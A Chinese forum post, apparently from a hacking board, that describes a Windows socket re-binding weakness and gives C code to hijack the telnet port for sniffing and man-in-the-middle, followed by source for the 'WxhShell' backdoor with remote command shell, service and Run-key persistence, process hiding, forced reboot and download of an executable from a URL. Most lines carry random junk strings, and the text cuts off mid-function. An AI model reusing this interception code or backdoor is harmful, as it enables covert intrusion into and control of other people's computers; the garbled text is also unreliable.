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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: H@xS<=:lM  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 9c)#j&2?H  
nD*iSb*  
  saddr.sin_family = AF_INET; ? F #&F  
 MYy58N  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Bgc]t  
mXyP;k  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 1;=L] L?  
>{Hg+/  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 >bZ-mX)j\0  
L>sLb(2\i  
  这意味着什么?意味着可以进行如下的攻击: f- 9t  
ktTP~7UVi  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 t7F0[E'=5\  
(Fzy8 s  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) {ac$4#Bp[B  
|@JTSz*Or  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ^{MqJ\S7H  
iG6]Pr|;e  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  @L!^2v  
OU,FU@6,7w  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 d0I s|Gs  
ekyCZ8iai  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 *FC8=U2\X  
,R`CAf%*  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Pqya%j  
n~yKq"^  
  #include a4^hC[a  
  #include ,#ZPg_x?1  
  #include R'c dEoy  
  #include    2w7$"N  
  DWORD WINAPI ClientThread(LPVOID lpParam);   mgx|5Otg  
  int main() #2_FM!e  
  { YTefEG]|q  
  WORD wVersionRequested; :;e OhZ=_  
  DWORD ret; La1:WYt  
  WSADATA wsaData; :P_h_Tizv  
  BOOL val; qco'neR"z  
  SOCKADDR_IN saddr; }NC$Ce  
  SOCKADDR_IN scaddr; iw,uwh|L  
  int err; *>=tmW;%  
  SOCKET s; /r~2KZE  
  SOCKET sc; #0<pRDXj  
  int caddsize; Z. gb'  
  HANDLE mt; .2@T|WD!Ah  
  DWORD tid;   sX~E ~$_g  
  wVersionRequested = MAKEWORD( 2, 2 ); Q*#Lr4cm{  
  err = WSAStartup( wVersionRequested, &wsaData ); )m7%cyfC  
  if ( err != 0 ) { 7Fo^ :"  
  printf("error!WSAStartup failed!\n"); C:Rs~@tl  
  return -1; U!|)M  
  } uZn_*_J!  
  saddr.sin_family = AF_INET; )4uWB2ZRoi  
   O6y:e #0z  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 :.g/=Q(T~  
a8T9=KY^  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); GW>F:<p  
  saddr.sin_port = htons(23); <<d#  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) md{nHX&  
  { +&G(AW  
  printf("error!socket failed!\n"); (9%?ik  
  return -1; q&@s/k  
  } 3 twA5)v  
  val = TRUE; 3\m !  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ^x O](,H  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) o i'iZX  
  { }>@SyE'Q  
  printf("error!setsockopt failed!\n"); fphCQO^#vW  
  return -1; eWv:wNouk  
  } O/#3QK  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; i. 6b%  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 MS""-zn<  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Cty{   
o$L%t@   
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ZskX!{  
  { ~2rQ80_  
  ret=GetLastError(); l3b=8yn.  
  printf("error!bind failed!\n"); cL#-vW<s3  
  return -1; ^?Xs!kJP  
  } [G8EX3  
  listen(s,2); Rf4K Rhi  
  while(1) H3$py|}lL  
  { ddN(L`nd  
  caddsize = sizeof(scaddr); )=GPhC/sw  
  //接受连接请求 O1o>eDE5A  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); iqB5h| `  
  if(sc!=INVALID_SOCKET) Ti)Me-g  
  { _}p [(sTV  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); P@UE.0NYX  
  if(mt==NULL) P.Bwfa  
  { n32"cFPpT  
  printf("Thread Creat Failed!\n"); B \R X  
  break; 5XX)8gAo  
  } !o`7$`%Wz\  
  } .:&`PaMt  
  CloseHandle(mt); J(}PvkA  
  } c?CfM>  
  closesocket(s); ' 8)kFR^9  
  WSACleanup(); ~-vCY  
  return 0; pdJ]V`m  
  }   DQK?y=vf  
  DWORD WINAPI ClientThread(LPVOID lpParam) }y*D(`  
  { TsT5BC63  
  SOCKET ss = (SOCKET)lpParam; 9Zd\6F,  
  SOCKET sc; `Ns@W?  
  unsigned char buf[4096]; 9 l~D}5e7  
  SOCKADDR_IN saddr;  b}NNkM  
  long num; PY_8*~Z  
  DWORD val; g|uyQhsg  
  DWORD ret; RN 4?]8  
  //如果是隐藏端口应用的话,可以在此处加一些判断 bDl#806PL  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   \k=dqWBr7  
  saddr.sin_family = AF_INET; bu6Sp3g  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Az y`4  
  saddr.sin_port = htons(23); &Cb,C+q  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) D*2*FDGI  
  { M>5OC)E  
  printf("error!socket failed!\n"); *7H *epUa  
  return -1; $=diG  
  } Y _`JS;  
  val = 100; {Ni]S$7  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &!4E3&+2m  
  { EGgw#JAi#t  
  ret = GetLastError(); ?xv."I%  
  return -1; v3cMPN  
  } A^FkU  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6oLOA}q   
  { pW.WJ`Rk  
  ret = GetLastError(); VK*_p EV,}  
  return -1; })<u ~r  
  } U9T}iI  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) >ye.rRZd`  
  { h[qZM  
  printf("error!socket connect failed!\n"); ?=4oxPe  
  closesocket(sc); &,<,!j)Jr  
  closesocket(ss); IrZ\;!NK  
  return -1; 'cc8 xC  
  } o_Z9\'u  
  while(1) I)1ih  
  { Q/3*65  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 @"NP`#  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 'z,kxra|n  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 x[};x;[ZE  
  num = recv(ss,buf,4096,0); @~s5{4  
  if(num>0) AJ>E\DK0]  
  send(sc,buf,num,0); >}F$6KM  
  else if(num==0) 9;%$  
  break; )/DN>rU  
  num = recv(sc,buf,4096,0); )t+pwh!8  
  if(num>0) 8D`+3  
  send(ss,buf,num,0); J'|[-D-a  
  else if(num==0) _4) t  
  break; E8Kk )7  
  } ;6R9k]5P%  
  closesocket(ss); #2i$:c~  
  closesocket(sc); %[KnpJ{\  
  return 0 ; g7?[}?]3"p  
  } N KgEs   
\y?*} L  
*:d ``L  
========================================================== BMO,eQcB  
&Qda|  
下边附上一个代码,,WXhSHELL 5'f_~>1Wt  
_+P*XY5  
========================================================== $/ "+t.ir3  
3HXeBW  
#include "stdafx.h" ^_v94!a 9  
{J1rjrPo  
#include <stdio.h> r6\g #}  
#include <string.h> <w}i  
#include <windows.h> 5P #._Em  
#include <winsock2.h> vcy1itY  
#include <winsvc.h> `f}ZAX  
#include <urlmon.h> bj0HAgY@  
gNxv.6Pp=  
#pragma comment (lib, "Ws2_32.lib") }N -UlL(  
#pragma comment (lib, "urlmon.lib") ;p*L(8<YI  
%P1zb7:8  
#define MAX_USER   100 // 最大客户端连接数  dEXhn  
#define BUF_SOCK   200 // sock buffer j,].88H  
#define KEY_BUFF   255 // 输入 buffer hoBFC1  
$I-iq @  
#define REBOOT     0   // 重启 YhglL!p C  
#define SHUTDOWN   1   // 关机 <5KoK!H  
1f^oW[w&  
#define DEF_PORT   5000 // 监听端口 ,e$RvFB  
z|AknEE,  
#define REG_LEN     16   // 注册表键长度 _3wJ;cn.  
#define SVC_LEN     80   // NT服务名长度 \4$Nx/@Q}  
$/Wec,`&  
// 从dll定义API YRZw|H{>t  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (:~_#BA  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /oe0  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); IuPDr %  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Kg2@]J9m  
nUONI+6Z/  
// wxhshell配置信息 UE_>@_T  
struct WSCFG { oU3gy[wF;b  
  int ws_port;         // 监听端口 u]B b^[  
  char ws_passstr[REG_LEN]; // 口令 vr47PM2al  
  int ws_autoins;       // 安装标记, 1=yes 0=no .6n|hYe  
  char ws_regname[REG_LEN]; // 注册表键名 J.2BBy  
  char ws_svcname[REG_LEN]; // 服务名 E.$//P n|1  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 a&[[@1OY  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "AJ>pU3  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _kOuD}_|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no (1{OQ0N+x  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" \K9Y@jnr  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 K'e!BZm6Q  
zXGI{P0O  
}; 0=`aXb-  
b2F1^]p  
// default Wxhshell configuration PK?}hz  
struct WSCFG wscfg={DEF_PORT, 3s:)CXO  
    "xuhuanlingzhe", .*EP$pc  
    1, 2s 9U&  
    "Wxhshell", cP/(h  
    "Wxhshell", ,V4pFQzL  
            "WxhShell Service", *qMjoP,  
    "Wrsky Windows CmdShell Service", c$A}mL_  
    "Please Input Your Password: ", Z+J~moW `  
  1, %u|Qh/?7  
  "http://www.wrsky.com/wxhshell.exe", ?aG~E  
  "Wxhshell.exe" Vyx&MU.-J  
    }; IfRrl/!nw  
mn<ea&  
// 消息定义模块 JLyFk V/  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; A^c5CJ_  
char *msg_ws_prompt="\n\r? for help\n\r#>"; =g@hh)3wP  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Pt;\]?LVrD  
char *msg_ws_ext="\n\rExit."; dj0D u^ v4  
char *msg_ws_end="\n\rQuit."; 4P24ySy9F  
char *msg_ws_boot="\n\rReboot..."; Xw^:<Nx:  
char *msg_ws_poff="\n\rShutdown..."; yNx"Ey dk`  
char *msg_ws_down="\n\rSave to "; MT&q~jx*  
>W8PLo+i  
char *msg_ws_err="\n\rErr!"; )./'RE+(k  
char *msg_ws_ok="\n\rOK!"; !q PUQ+  
v#IZSBvuQK  
char ExeFile[MAX_PATH]; T5U(B3j_  
int nUser = 0; z#&qWO  
HANDLE handles[MAX_USER]; 1G8t=IA%D  
int OsIsNt; VHws9)  
p7O4CP>9[  
SERVICE_STATUS       serviceStatus; :TWHmxch  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !lB,2_  
wA)R7%&  
// 函数声明 `[1]wV5(5@  
int Install(void); ==j3 9  
int Uninstall(void); b}G +7B  
int DownloadFile(char *sURL, SOCKET wsh); C[$<7Mi|;  
int Boot(int flag); V'?nS&,i  
void HideProc(void);  *JOv  
int GetOsVer(void); g(;ejKSR  
int Wxhshell(SOCKET wsl); J.`.lQ$z  
void TalkWithClient(void *cs); kQBVx8Uq]  
int CmdShell(SOCKET sock); ]R]X#jm  
int StartFromService(void); Z#W`0G>'  
int StartWxhshell(LPSTR lpCmdLine); Bp6Evi  
vqxTf)ys  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \J\1i=a-=  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); QnOa?0HL/  
khu,P[3>  
// 数据结构和表定义 IweQB}d  
SERVICE_TABLE_ENTRY DispatchTable[] = gf@'d.W}  
{ sQH.}W$C  
{wscfg.ws_svcname, NTServiceMain}, Ip 1QmP  
{NULL, NULL} "|&*MjwN6  
}; XJ NKM~  
hQ8{ A7  
// 自我安装 !kKKJ~,;  
int Install(void) =O _[9kuJ  
{ Hm^p^,}_x  
  char svExeFile[MAX_PATH]; 6<~y!\4;F  
  HKEY key; +yea}uUE  
  strcpy(svExeFile,ExeFile); 9_/1TjrDN  
n<$I,IRE  
// 如果是win9x系统,修改注册表设为自启动 JT-Zo OZ  
if(!OsIsNt) { p_(hM&>C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?^+|V,<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); BPOWo8TqD^  
  RegCloseKey(key); [E/3&3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U)o8Tr  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f3h9CV  
  RegCloseKey(key); 6%xl}z]o  
  return 0; Z,&ywMm/G  
    } |3cR'|<Ual  
  } 6u7HO-aa  
} tw')2UGg  
else { Yb\36|  
U5PCj ]-Xt  
// 如果是NT以上系统,安装为系统服务 0\o'd\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); LMDa68 s  
if (schSCManager!=0) Z n!SHj  
{ /L8=8  
  SC_HANDLE schService = CreateService \dMsv1\  
  ( jHZ<G c  
  schSCManager, 8YJ({ Ou_  
  wscfg.ws_svcname, i xyjl[G  
  wscfg.ws_svcdisp, ;Os3 !  
  SERVICE_ALL_ACCESS, m ;vNA  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , J{ Vl2P?@  
  SERVICE_AUTO_START, uQNoIy J)  
  SERVICE_ERROR_NORMAL, ),Rj@52l  
  svExeFile, "8X+F%  
  NULL, 3QVng^"B)  
  NULL, PrcM'Q  
  NULL, Pg36'aTe%j  
  NULL, M@3H]t?  
  NULL k4P.}SJ?  
  ); @mazwr{B  
  if (schService!=0) ( FRf.mv{  
  { !]nCeo  
  CloseServiceHandle(schService); ublY!Af  
  CloseServiceHandle(schSCManager); {m?x},  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =EJ"edw]%0  
  strcat(svExeFile,wscfg.ws_svcname); )qIK7;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .wSAysiQ|P  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); pf_ /jR  
  RegCloseKey(key); V_kE"W)  
  return 0; vX\e* v  
    } uwka 2aSS  
  } 5  $J  
  CloseServiceHandle(schSCManager); +9J>'oe'D  
} ]lY9[~ v  
} ;<A/e  
L9@jmh*E  
return 1; Ah`dt8t  
} ccSSa u5N  
O#\> j  
// 自我卸载 68*{Lo?U  
int Uninstall(void) Xn=fLb(  
{ &?nF' ;&  
  HKEY key; 'Ap 5Aq  
A@OV!DJe]  
if(!OsIsNt) { Mm!saKT%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bRK9Qt#3  
  RegDeleteValue(key,wscfg.ws_regname); Izu.I_$4  
  RegCloseKey(key); U:9vjY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !Xi>{nV  
  RegDeleteValue(key,wscfg.ws_regname); D,/9rH  
  RegCloseKey(key); vp@+wh]#  
  return 0; (/U1J  
  } A\)X&vR[6  
} ,0bM* qob  
} ^@2Vh*k  
else { ErC[Zh"''  
cG:`Zj~4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); U^&Cvxc[[  
if (schSCManager!=0) P1n@E*~V5  
{ Tt|6N*b'  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); <4,?lZ  
  if (schService!=0) VHCzlg  
  { K~-XDLh5Nu  
  if(DeleteService(schService)!=0) { `t&;Yk]-L  
  CloseServiceHandle(schService); `WS_*fJ5  
  CloseServiceHandle(schSCManager); :\_MA^<  
  return 0; IcQ!A=lB  
  } [!mjUsut*  
  CloseServiceHandle(schService); GcW}<g}  
  } #7h fEAk  
  CloseServiceHandle(schSCManager); ,v_r$kh^  
} [Gy'0P(EQ  
} zP}v2  
sEyl\GL  
return 1; &NeY Kh?  
} ,r;d{  
|81N/]EER  
// 从指定url下载文件 ~+yo;[1Yc  
int DownloadFile(char *sURL, SOCKET wsh) wt S*w  
{ T(^8ki  
  HRESULT hr; 5Suc#0y  
char seps[]= "/"; l$_rA~Mo  
char *token; GQq'~Lr5  
char *file; , % jTXb  
char myURL[MAX_PATH]; Tpx,41(k  
char myFILE[MAX_PATH]; 7,UFIHq  
}9 2lr87  
strcpy(myURL,sURL); RLNuH2y;  
  token=strtok(myURL,seps); bGc|SF<V  
  while(token!=NULL) :-" jK w  
  { g8A{aHb1}  
    file=token; ItE~MJ5p  
  token=strtok(NULL,seps); gEHfsR=D6  
  } @|%ICG c  
PJ:5Lb<  
GetCurrentDirectory(MAX_PATH,myFILE); _4B iF?1  
strcat(myFILE, "\\"); (Gc`3jJ  
strcat(myFILE, file); 6F/ OlK<  
  send(wsh,myFILE,strlen(myFILE),0); \ZWmef  
send(wsh,"...",3,0); ![ID0}MjJ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }IkEyJsk  
  if(hr==S_OK) p+UHJ&  
return 0; ]f-'A>MC  
else .t[ZXrd| 0  
return 1; 0P3|1=  
)Q/`o,Vm  
} i}F;fWZ`  
]G~N+\8]U  
// 系统电源模块 J*KBG2+13  
int Boot(int flag) Z)T@`B6  
{ ` +BaDns  
  HANDLE hToken; yi-"hT`  
  TOKEN_PRIVILEGES tkp; @ ^6OV)  
)wzs~Fn/  
  if(OsIsNt) { bTy)0ta>AF  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "|r^l  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^I~T$YjC '  
    tkp.PrivilegeCount = 1; )k] !u  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; as |c`4r\O  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); qs1.@l("  
if(flag==REBOOT) { pXj/6+^  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) P| P fG=  
  return 0; $0 S#d@v}  
} .P :f  
else { )F#<)Evw  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /Q>{YsRRB  
  return 0; Fif^V  
} r]O@HVbt$  
  } Dw/Gha/  
  else { \g:qQ*.  
if(flag==REBOOT) { w$[Ds  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4OZ5hH h  
  return 0; hB$Y4~T%  
} #JR,C -w  
else { 2DC cGKa"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :;*#Qh3"  
  return 0; W*rU,F|9  
} K9O,7h:x  
} . (*kgv@3x  
s!;VUr\  
return 1; CBnouKc:  
} r~G]2*3  
1QF*e'  
// win9x进程隐藏模块 0B$7S,2  
void HideProc(void) 6:@t=C  
{ 90h1e7ZcC  
fov=Yd!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); qzlMn)e  
  if ( hKernel != NULL ) :CkR4J!m3  
  { <X I35\^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $,QpSK`9i  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "X{aS}  
    FreeLibrary(hKernel); NzeI/f3K5  
  } U_}A{bFG  
l@Eq|y,  
return; R|)2Dg  
} +G!jKta7B  
,7fc41O3V  
// 获取操作系统版本 yhtvr5z1  
int GetOsVer(void) 0n<(*bfW  
{ o ,Tr^e$  
  OSVERSIONINFO winfo; !,6v=n[Nz  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); v<7Gln  
  GetVersionEx(&winfo); R0hc tT1j  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \Ul.K!b7  
  return 1; lR@i`)'?U  
  else ZH;y>Z  
  return 0; 4$?w D <  
} l\=-+'Y  
>: W-C{%  
// 客户端句柄模块 zOiY0`=  
int Wxhshell(SOCKET wsl) aZawBU.:  
{ H7yg9zFT N  
  SOCKET wsh; Ff Yd+]+?  
  struct sockaddr_in client; n(Q\' ,C  
  DWORD myID; $['7vcB^  
mP)3cc5T  
  while(nUser<MAX_USER) d@D;'2}Yc  
{ ~ gfA](N  
  int nSize=sizeof(client); sk7rU+<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); oxMUW<gYd  
  if(wsh==INVALID_SOCKET) return 1; !O F?xW  
U50s!Z t45  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); +w k]iH  
if(handles[nUser]==0) { p!_-sL  
  closesocket(wsh); @QVqpE<|  
else {HIR>])o  
  nUser++; cZDxsd]  
  } Y(hW(bd;  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 42V,PH6o  
/]/>jz>  
  return 0; >&<<8Ln  
} m1hW<  
_}I(U?Q-C  
// 关闭 socket V\@jC\-5Vt  
void CloseIt(SOCKET wsh) '9*5-iO  
{ c7+Djqs  
closesocket(wsh); }x kLD!  
nUser--; "w*+v  
ExitThread(0); atLV`U&t  
} `%t$s,TiP  
I #M%%5e  
// 客户端请求句柄 ? o~:'Z  
void TalkWithClient(void *cs) VX^o"9Ntl  
{ Gh]_L+  
$=PWT-GIR  
  SOCKET wsh=(SOCKET)cs; XMN?;Hj>  
  char pwd[SVC_LEN]; F-BJe]  
  char cmd[KEY_BUFF]; Y{k>*: Ax_  
char chr[1]; Z0 [)u_<  
int i,j; ^w:OS5%R  
uFwU-LCe  
  while (nUser < MAX_USER) { yaH Trh%  
.7 (DxN  
if(wscfg.ws_passstr) { "t[M'[ `C  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6X@mPj[/  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DR k]{^C~  
  //ZeroMemory(pwd,KEY_BUFF); uQGz;F x  
      i=0; Q'Jv} 'eK_  
  while(i<SVC_LEN) { La"o)L +m_  
 20I4r  
  // 设置超时 `6a]|7|f  
  fd_set FdRead; [_y9"MMwn  
  struct timeval TimeOut; 'oz hz2s  
  FD_ZERO(&FdRead); b!i`o%Vb  
  FD_SET(wsh,&FdRead); Qs|OG  
  TimeOut.tv_sec=8; iD>G!\&  
  TimeOut.tv_usec=0; )Vwj9WD  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #*!+b  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &EAk z  
v"z (JF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x}tKewdOSe  
  pwd=chr[0]; H4M{_2DO  
  if(chr[0]==0xd || chr[0]==0xa) { }qc#lz  
  pwd=0; z>4 D~HX  
  break; 8AT;8I<K  
  } U?bG`. X  
  i++; + $>N]1  
    } :e1'o  
JXpoCCe  
  // 如果是非法用户,关闭 socket ,LhE shf  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); CN$I:o04C  
} ?n!lUr$:y  
@Z?7E8(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7^ 4jcfJH  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y4QLs^IdB  
]#F q>E  
while(1) { bfFmTI$,  
S8\+XJ  
  ZeroMemory(cmd,KEY_BUFF); |<sf:#YzY&  
m"n.Dz/S  
      // 自动支持客户端 telnet标准   [}z?1Gj;W(  
  j=0; ,{?wKXJ}L!  
  while(j<KEY_BUFF) { )))2f skZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); XJe/tR  
  cmd[j]=chr[0]; K} +S+ *_  
  if(chr[0]==0xa || chr[0]==0xd) { YU&4yk lE  
  cmd[j]=0; :]'q#$!  
  break; o6*/o ]]  
  } ] bIt@GB  
  j++; IWQ&6SDW$z  
    } +Y7Pg'35  
l{8CISO*  
  // 下载文件 C1 W>/?XC  
  if(strstr(cmd,"http://")) { H ZPcd_(  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); XTV0Le\f  
  if(DownloadFile(cmd,wsh)) ^%;"[r  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 29%=:*R$  
  else b7bSTFZxC  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I-,>DLG  
  } qmEoqU  
  else { W+8^P( K  
%*6RzJO6  
    switch(cmd[0]) { ' PELf P8  
  kfXS_\@iW1  
  // 帮助 `qE4U4  
  case '?': { zhX;6= X2  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); T8U[xu.>  
    break; V7:\q^$  
  } K5{{:NR$  
  // 安装 4Q;<Q"  
  case 'i': { \*uugw,\y  
    if(Install()) hcyn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v;Es^ YI  
    else AP0|z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?~,JY  
    break; Je^Y&a~  
    } /l ^y}o %?  
  // 卸载 /_q#a h  
  case 'r': { BhLZ7*  
    if(Uninstall()) I0iY+@^5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,ijW(95{k  
    else  DwXU  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U+} y %3l  
    break; GMdI0jaG#  
    }  ;1@C_5C  
  // 显示 wxhshell 所在路径 P{cos&X|  
  case 'p': { @ u+|=x];  
    char svExeFile[MAX_PATH]; + 8f>^*:u  
    strcpy(svExeFile,"\n\r"); d@ZoV  
      strcat(svExeFile,ExeFile); 6 Uw;C84!  
        send(wsh,svExeFile,strlen(svExeFile),0); Jn*Nao_)  
    break; 9`BEi(z  
    } E5gl^Q?Z  
  // 重启 $T),DUYO  
  case 'b': { \!<"7=(J{4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); jn$j^ 51`C  
    if(Boot(REBOOT)) /'4Q{8.a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e\r7BW\Y  
    else { UfKkgq#  
    closesocket(wsh); A#35]V06  
    ExitThread(0); < eQ[kM  
    } n+?-�  
    break; 3u_oRs  
    } C`0%C7  
  // 关机 TT7PQf >  
  case 'd': { fLNag~  
